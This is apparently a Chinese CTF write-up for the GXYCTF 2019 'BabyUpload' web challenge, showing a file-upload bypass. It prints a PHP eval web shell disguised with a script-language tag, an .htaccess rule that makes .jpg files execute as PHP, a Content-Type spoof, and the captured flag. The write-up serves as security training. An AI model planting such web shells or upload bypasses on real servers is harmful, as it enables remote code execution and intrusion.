[GXYCTF 2019]BabyUpload
[GXYCTF 2019]BabyUpload
题目来源:nssctf
题目类型:web
涉及考点:文件上传
1. 题目要求直接传马,先试试`muma.php`
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145820_image-20230813092255932.png)
- 不行,再试试
muma.jpg
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145821_image-20230813092414267.png)
- 提示说明一句话木马内不能有php标志(即
<?
),我们看看响应标头,使用的是php5.6.23
![image-20230813092548038](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145820_image-20230813092548038.png)
因此可以构造<script language='php'>eval($_POST['r00ts']);</script>
传入:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145821_image-20230813092734561.png)
上传成功,接下来考虑解析
2. 上传.htaccess文件
有关
.htaccess
文件详见:[SWPUCTF 2021 新生赛]easyupload3.0
文件内容如下:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
- 直接传入的话回显如下:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145820_image-20230813093117219.png)
- 需要利用bp抓包,修改
Content-Type:image/jpeg
:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145821_image-20230813093341993.png)
- 最后用蚁剑连接,在根目录下发现flag:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230813145821_image-20230813093411634.png)
NSSCTF{2e3f9020-1e52-464b-b1ea-ea95736796c6}
日期:2023.8.13
作者:y0Zero